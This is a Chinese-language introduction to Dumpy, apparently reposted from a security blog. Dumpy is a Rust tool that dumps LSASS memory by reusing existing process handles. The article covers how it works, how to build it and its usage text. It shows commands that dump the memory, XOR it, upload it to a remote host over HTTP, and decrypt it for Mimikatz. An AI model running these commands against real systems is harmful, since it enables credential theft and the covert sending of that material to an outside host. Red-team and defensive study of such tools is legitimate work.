关于Dumpy
Dumpy是一款针对LSASS数据的动态内存取证工具,该工具专为红队和蓝队研究人员设计,支持重新使用打开的句柄来动态转储 LSASS。
![](https://img-blog.csdnimg.cn/img_convert/c656291dacd17406149e2058046230a2.jpeg)
运行机制
Dumpy可以动态调用 MiniDumpWriteDump 来转储 lsass 内存内容。此过程无需打开 lsass 的新进程句柄,也无需使用DInvoke_rs。
为了在不调用 lsass 上的 OpenProcess 的情况下获得有效的进程句柄,系统中的所有进程句柄都使用 NtQuerySystemInformation、NtDuplicateObject、NtQueryObject 和 QueryFullProcessImageNameW 进行分析。
在将内存转储存储到磁盘或通过 HTTP 发送之前,该工具会使用 NTFS 事务对其进行异或运算。
工具要求
Rust
cargo
工具安装
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
C:\Users\User\Desktop> git clone https://github.com/Kudaes/Dumpy.git
然后在release模式下编译项目代码并执行即可:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
如果您想要为 x86 系统编译该工具,请修改文件 .cargo\config 中的选项“target”的值(例如:target =“i686-pc-windows-msvc”)。
工具使用
Usage: dumpy.exe --dump|--decrypt [options] Options: -h, --help 打印工具帮助信息你 --dump 转储Lsass数据 --decrypt 解密之前生成的转储文件 -f, --force 通过竞争条件强制服务暴露lsass句柄、 -k, --key 加密密钥 [默认: 1234abcd] -i, --input 加密转储文件 [默认: c:\temp\input.txt] -o, --output 目的路径 [默认: c:\temp\output.txt] -u, --upload 上传URL
工具运行演示
dump命令
它将执行转储 lsass 的主要逻辑。默认情况下,它将结果存储在当前目录中具有随机名称的 xored 文本文件中。upload 选项允许通过 HTTP 将内存内容发送到远程主机,从而避免在磁盘上创建 xored 文件。相关命令执行如下:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
使用竞争条件中强制暴露lsass句柄,并结合force参数:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt命令
此操作允许以与 Mimikatz 等工具所期望的格式相同的格式获取解密的内存转储。它需要 xored 内存转储、加密密钥和输出文件路径作为参数。如果 xored 文件是使用 HTTP 上传的,则需要在解密过程之前对内容执行 base64 解码:
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可协议。
项目地址
Dumpy:【GitHub传送门】
参考资料
https://github.com/Kudaes/DInvoke_rs
https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
https://twitter.com/splinter_code
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html